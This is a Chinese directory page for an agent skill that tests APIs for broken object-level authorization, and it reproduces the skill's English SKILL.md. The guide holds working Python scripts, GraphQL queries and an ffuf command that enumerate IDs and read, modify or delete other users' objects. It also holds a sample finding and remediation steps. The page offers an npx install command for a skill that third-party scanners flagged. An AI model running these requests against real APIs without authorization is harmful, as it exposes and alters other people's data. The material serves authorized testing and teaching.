Token导航 LogoToken导航

Agent Skill · 研究检索

testing-api-for-broken-object-level-authorization(测试 API FOR broken object level authorization)

用于辅助 API 设计、接口文档、请求响应结构和服务集成说明。它适合让 Agent 梳理 endpoint、生成 OpenAPI 草稿、检查字段命名、整理错误码或辅助前后端联调。使用时需要确认真实业务语义、鉴权方式、分页和错误处理规则;涉及生成接口文档时,应避免凭空补字段,最好从现有代码、schema 或接口样例中提取事实。

testing-api-for-broken-object-level-authorization 是研究检索类 Agent Skill,可用宿主为 Codex、Claude、Cursor、Gemini CLI,通过GitHub 仓库获取,权限为需要联网;许可证信息还不明确,第三方扫描有未通过项,按安装量在研究检索类的 73,675 个 Skill 里排第 43,559。

总安装 978周安装 42GitHub Stars 5,908下载 343核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
unknown

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:testing-api-for-broken-object-level-authorization(测试 API FOR broken object level authorization)
来源仓库:https://github.com/mukul975/anthropic-cybersecurity-skills
仓库路径:skills/testing-api-for-broken-object-level-authorization
安装命令:
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-for-broken-object-level-authorization
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 npx skills 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

skills.shnpx skills
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-api-for-broken-object-level-authorization

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

用于辅助识别 API 中对象级权限控制的潜在缺陷。适合在接口测试和安全审计中检查资源访问控制逻辑。通过构造特定请求验证不同用户能否越权操作目标对象。需明确测试目标、用户角色和对象标识,避免影响生产数据。

testing-api-for-broken-object-level-authorization 属于研究检索类 Skill,可作为该场景下的辅助能力补充。

来源仓库内路径:skills/testing-api-for-broken-object-level-authorization

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 Codex、Claude、Cursor、Gemini CLI;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skil…;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要需要联网,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

testing-api-for-broken-object-level-authorization 怎么安装?

在终端执行 npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill testing-…。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

testing-api-for-broken-object-level-authorization 支持哪些 AI 工具?

公开资料标注支持 Codex、Claude、Cursor、Gemini CLI。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

testing-api-for-broken-object-level-authorization 需要什么权限?

权限级别是需要联网。该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

testing-api-for-broken-object-level-authorization 是免费的吗?

公开资料没有标注明确许可证,收费和商用限制都无法确认。正式使用前请到来源仓库核对授权说明。

testing-api-for-broken-object-level-authorization 用的人多吗?

公开数据是累计安装 978 次,近一周安装 42 次,下载 343 次,GitHub 5,908 星。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

testing-api-for-broken-object-level-authorization 安全吗?

第三方扫描有未通过项,风险较高。除非你确认过源码,否则不建议直接安装到常用环境。

值得选的地方和要先想清楚的地方

值得选的地方

  • 同时适配 4 种工具,换客户端不用重新找替代品。
  • 来源仓库有 5,908 星,维护活跃度相对可查。

先想清楚的地方

  • 许可证没有明确标注,能不能商用、能不能再分发都不确定。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 Codex,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 需要明确授权才能用到公司项目里的场景。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
testing-api-for-broken-object-level-authorization

测试 API FOR broken object level authorization · 本页

9785,908需要联网未明确未通过

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

Testing API for Broken Object Level Authorization

When to Use

  • Assessing REST or GraphQL APIs that use object identifiers in URL paths, query parameters, or request bodies
  • Performing OWASP API Security Top 10 assessments where API1:2023 (BOLA) must be tested
  • Testing multi-tenant SaaS applications where users from different tenants should not access each other's data
  • Validating that API endpoints enforce per-object authorization checks beyond just authentication
  • Evaluating APIs after new endpoints are added to ensure authorization middleware is applied consistently

Do not use without written authorization from the API owner. BOLA testing involves accessing or attempting to access other users' data, which requires explicit permission.

Prerequisites

  • Written authorization specifying the target API endpoints and scope of testing
  • At least two test accounts with different privilege levels and distinct data sets
  • Burp Suite Professional or OWASP ZAP configured as an intercepting proxy
  • Authentication tokens (JWT, session cookies, API keys) for each test account
  • API documentation (OpenAPI/Swagger spec) or access to enumerate endpoints
  • Python 3.10+ with requests library for scripted testing
  • Autorize Burp extension installed for automated BOLA detection

Workflow

Step 1: API Endpoint Discovery and Object ID Mapping

Enumerate all API endpoints and identify parameters that reference objects:

From OpenAPI/Swagger Specification:

# Download and parse the OpenAPI spec
curl -s https://target-api.example.com/api/docs/swagger.json | python3 -m json.tool

# Extract all endpoints with path parameters
curl -s https://target-api.example.com/api/docs/swagger.json | \
  python3 -c "
import json, sys
spec = json.load(sys.stdin)
for path, methods in spec.get('paths', {}).items():
    for method, details in methods.items():
        if method in ('get','post','put','patch','delete'):
            params = [p['name'] for p in details.get('parameters',[]) if p.get('in') in ('path','query')]
            if params:
                print(f'{method.upper()} {path} -> params: {params}')
"

From Burp Suite Traffic:

  1. Browse the application as User A, exercising all features that involve data creation and retrieval
  2. In Burp, go to Target > Site Map and filter for API paths (e.g., /api/v1/, /graphql)
  3. Look for patterns: /api/v1/users/{id}, /api/v1/orders/{order_id}, /api/v1/documents/{doc_uuid}
  4. Note the object ID format: sequential integers (predictable), UUIDs (less predictable), or encoded values

Classify Object ID Types:

ID TypeExamplePredictabilityBOLA Risk
Sequential Integer/orders/1042High - increment/decrementCritical
UUID v4/orders/550e8400-e29b-41d4-a716-446655440000Low - randomMedium (if leaked)
Encoded/Hashed/orders/base64encodedvalueMedium - decode and predictHigh
Composite/users/42/orders/1042High - multiple IDs to swapCritical
Slug/profiles/john-doeMedium - guess usernamesHigh

Step 2: Baseline Request Capture with Authenticated User

Capture legitimate requests for User A and User B:

import requests

BASE_URL = "https://target-api.example.com/api/v1"

# User A credentials
user_a_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_a_headers = {"Authorization": user_a_token, "Content-Type": "application/json"}

# User B credentials
user_b_token = "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
user_b_headers = {"Authorization": user_b_token, "Content-Type": "application/json"}

# Step 1: Identify User A's objects
user_a_profile = requests.get(f"{BASE_URL}/users/me", headers=user_a_headers)
user_a_id = user_a_profile.json()["id"]  # e.g., 1001

user_a_orders = requests.get(f"{BASE_URL}/users/{user_a_id}/orders", headers=user_a_headers)
user_a_order_ids = [o["id"] for o in user_a_orders.json()["orders"]]  # e.g., [5001, 5002]

# Step 2: Identify User B's objects
user_b_profile = requests.get(f"{BASE_URL}/users/me", headers=user_b_headers)
user_b_id = user_b_profile.json()["id"]  # e.g., 1002

user_b_orders = requests.get(f"{BASE_URL}/users/{user_b_id}/orders", headers=user_b_headers)
user_b_order_ids = [o["id"] for o in user_b_orders.json()["orders"]]  # e.g., [5003, 5004]

print(f"User A (ID: {user_a_id}): Orders {user_a_order_ids}")
print(f"User B (ID: {user_b_id}): Orders {user_b_order_ids}")

Step 3: BOLA Testing - Horizontal Privilege Escalation

Attempt to access User B's objects using User A's authentication:

import json

results = []

# Test 1: Access User B's profile with User A's token
resp = requests.get(f"{BASE_URL}/users/{user_b_id}", headers=user_a_headers)
results.append({
    "test": "Access other user profile",
    "endpoint": f"GET /users/{user_b_id}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code == 200,
    "data_leaked": list(resp.json().keys()) if resp.status_code == 200 else None
})

# Test 2: Access User B's orders with User A's token
for order_id in user_b_order_ids:
    resp = requests.get(f"{BASE_URL}/orders/{order_id}", headers=user_a_headers)
    results.append({
        "test": f"Access other user order {order_id}",
        "endpoint": f"GET /orders/{order_id}",
        "auth": "User A",
        "status": resp.status_code,
        "vulnerable": resp.status_code == 200
    })

# Test 3: Modify User B's order with User A's token
resp = requests.patch(
    f"{BASE_URL}/orders/{user_b_order_ids[0]}",
    headers=user_a_headers,
    json={"status": "cancelled"}
)
results.append({
    "test": "Modify other user order",
    "endpoint": f"PATCH /orders/{user_b_order_ids[0]}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code in (200, 204)
})

# Test 4: Delete User B's resource with User A's token
resp = requests.delete(f"{BASE_URL}/orders/{user_b_order_ids[0]}", headers=user_a_headers)
results.append({
    "test": "Delete other user order",
    "endpoint": f"DELETE /orders/{user_b_order_ids[0]}",
    "auth": "User A",
    "status": resp.status_code,
    "vulnerable": resp.status_code in (200, 204)
})

# Print results
for r in results:
    status = "VULNERABLE" if r["vulnerable"] else "SECURE"
    print(f"[{status}] {r['test']}: {r['endpoint']} -> HTTP {r['status']}")

Step 4: Advanced BOLA Techniques

Test for less obvious BOLA patterns:

# Technique 1: Parameter pollution - send both IDs
resp = requests.get(
    f"{BASE_URL}/orders/{user_a_order_ids[0]}?order_id={user_b_order_ids[0]}",
    headers=user_a_headers
)
print(f"Parameter pollution: {resp.status_code}")

# Technique 2: JSON body object ID override
resp = requests.post(
    f"{BASE_URL}/orders/details",
    headers=user_a_headers,
    json={"order_id": user_b_order_ids[0]}
)
print(f"Body ID override: {resp.status_code}")

# Technique 3: Array of IDs - include other user's IDs in batch request
resp = requests.post(
    f"{BASE_URL}/orders/batch",
    headers=user_a_headers,
    json={"order_ids": user_a_order_ids + user_b_order_ids}
)
print(f"Batch ID inclusion: {resp.status_code}, returned {len(resp.json().get('orders',[]))} orders")

# Technique 4: Numeric ID manipulation for sequential IDs
for offset in range(-5, 6):
    test_id = user_a_order_ids[0] + offset
    if test_id not in user_a_order_ids:
        resp = requests.get(f"{BASE_URL}/orders/{test_id}", headers=user_a_headers)
        if resp.status_code == 200:
            owner = resp.json().get("user_id", "unknown")
            if str(owner) != str(user_a_id):
                print(f"BOLA: Order {test_id} belongs to user {owner}, accessible by User A")

# Technique 5: Swap object ID in nested resource paths
resp = requests.get(
    f"{BASE_URL}/users/{user_b_id}/orders/{user_b_order_ids[0]}/invoice",
    headers=user_a_headers
)
print(f"Nested resource BOLA: {resp.status_code}")

# Technique 6: Method switching - GET may be blocked but PUT allowed
for method in ['GET', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']:
    resp = requests.request(
        method,
        f"{BASE_URL}/users/{user_b_id}/settings",
        headers=user_a_headers,
        json={"notifications": False} if method in ('PUT', 'PATCH') else None
    )
    if resp.status_code not in (401, 403, 405):
        print(f"Method {method} on other user settings: {resp.status_code}")

Step 5: Automated BOLA Detection with Autorize (Burp Suite)

Configure Autorize for automated detection:

  1. Install Autorize from the BApp Store in Burp Suite Professional
  2. In the Autorize tab, paste User B's authentication cookie or header
  3. Configure the interception filters:

- Include: .*\/api\/.* (only API paths) - Exclude: .*\.(js|css|png|jpg)$ (skip static assets)

  1. Set the enforcement detector:

- Add conditions where response length or status code differs between User A and User B - Mark as "enforced" if User A gets 403/401 for User B's resources - Mark as "bypassed" if User A gets 200 with User B's data

  1. Browse the application as User A; Autorize automatically replays each request with User B's token
  2. Review the Autorize results table:

- Green = Authorization enforced (secure) - Red = Authorization bypassed (BOLA vulnerability) - Orange = Needs manual review (ambiguous response)

Step 6: GraphQL BOLA Testing

# Test BOLA in GraphQL queries using node/ID relay pattern
# User A queries User B's order by global relay ID
query {
  node(id: "T3JkZXI6NTAwMw==") {  # Base64 of "Order:5003" (User B's)
    ... on Order {
      id
      totalAmount
      shippingAddress {
        street
        city
      }
      items {
        productName
        quantity
      }
    }
  }
}

# Test nested object access through relationships
query {
  user(id: "1002") {  # User B's ID
    email
    phoneNumber
    orders {
      edges {
        node {
          id
          totalAmount
          paymentMethod {
            lastFourDigits
          }
        }
      }
    }
  }
}

Key Concepts

TermDefinition
BOLABroken Object Level Authorization (OWASP API1:2023) - the API does not verify that the authenticated user has permission to access the specific object referenced by the request
IDORInsecure Direct Object Reference - a closely related term where the application uses user-controllable input to directly access objects without authorization checks
Horizontal Privilege EscalationAccessing resources belonging to another user at the same privilege level by manipulating object identifiers
Vertical Privilege EscalationAccessing resources or functions restricted to a higher privilege level (e.g., regular user accessing admin endpoints)
Object ID EnumerationPredicting valid object identifiers by analyzing their format (sequential integers, UUID patterns, encoded values)
AutorizeA Burp Suite extension that automates authorization testing by replaying requests with different user tokens

Tools & Systems

  • Burp Suite Professional: Intercepting proxy for capturing and manipulating API requests with Autorize extension for automated BOLA testing
  • OWASP ZAP: Open-source alternative with Access Control Testing add-on for authorization boundary testing
  • Autorize: Burp extension that automatically detects authorization enforcement by replaying requests with different user contexts
  • Postman: API testing platform for crafting and replaying requests with different authentication tokens across collections
  • ffuf: Web fuzzer that can enumerate object IDs at scale: ffuf -u https://api.example.com/orders/FUZZ -w ids.txt -H "Authorization: Bearer token"

Common Scenarios

Scenario: E-Commerce API BOLA Assessment

Context: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).

Approach:

  1. Map all endpoints from the Swagger spec at /api/docs: identify 47 endpoints, 23 of which take object IDs
  2. Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist
  3. Replace User A's object IDs with User B's IDs systematically across all 23 endpoints
  4. Find that GET /api/v1/orders/{id} returns any order regardless of ownership (BOLA on read)
  5. Find that PATCH /api/v1/addresses/{id} allows modifying any user's address (BOLA on write)
  6. Find that GET /api/v1/users/{id}/payment-methods leaks payment card last-four digits for any user
  7. Test batch endpoint POST /api/v1/orders/export - accepts array of order IDs and exports all without ownership check
  8. Verify that DELETE /api/v1/orders/{id} correctly returns 403 for non-owned orders (authorization enforced)

Pitfalls:

  • Only testing GET requests and missing BOLA in PUT/PATCH/DELETE methods that allow data modification or destruction
  • Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters
  • Not testing nested resource paths where authorization may be checked on the parent but not the child resource
  • Missing BOLA in bulk/batch endpoints that accept arrays of object IDs
  • Not considering that different API versions (v1 vs v2) may have different authorization implementations

Output Format

## Finding: Broken Object Level Authorization in Order API

**ID**: API-BOLA-001
**Severity**: High (CVSS 7.5)
**OWASP API**: API1:2023 - Broken Object Level Authorization
**Affected Endpoints**:
  - GET /api/v1/orders/{id}
  - PATCH /api/v1/addresses/{id}
  - GET /api/v1/users/{id}/payment-methods
  - POST /api/v1/orders/export

**Description**:
The API does not enforce object-level authorization on order retrieval,
address modification, payment method viewing, or order export endpoints.
An authenticated user can access or modify any other user's resources by
substituting object IDs in the request. Sequential integer IDs make
enumeration trivial.

**Proof of Concept**:
1. Authenticate as User A (ID 1001): POST /api/v1/auth/login
2. Retrieve User A's order: GET /api/v1/orders/5001 -> 200 OK (legitimate)
3. Access User B's order: GET /api/v1/orders/5003 -> 200 OK (BOLA - returns full order details)
4. Modify User B's address: PATCH /api/v1/addresses/2002 -> 200 OK (BOLA - address changed)

**Impact**:
- Read access to all 850,000+ customer orders including shipping addresses and order contents
- Write access to any customer's delivery address, enabling package redirection
- Exposure of partial payment card data for all customers

**Remediation**:
1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource
2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`
3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)
4. Add authorization tests to the CI/CD pipeline for every endpoint that accepts object IDs
5. Implement rate limiting per user to slow enumeration attempts

平台分布

Codex

34.92%
按下载量换算120

Claude

28.83%
按下载量换算99

Cursor

18.1%
按下载量换算62

Gemini CLI

9.26%
按下载量换算32

安全审计

Gen Agent Trust Hub

未通过

Socket

通过

Snyk

未通过

权限和风险

需要联网

该 Skill 可能需要联网访问来源站点、仓库或外部 API;具体网络访问范围需要结合源码和 README 复核。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills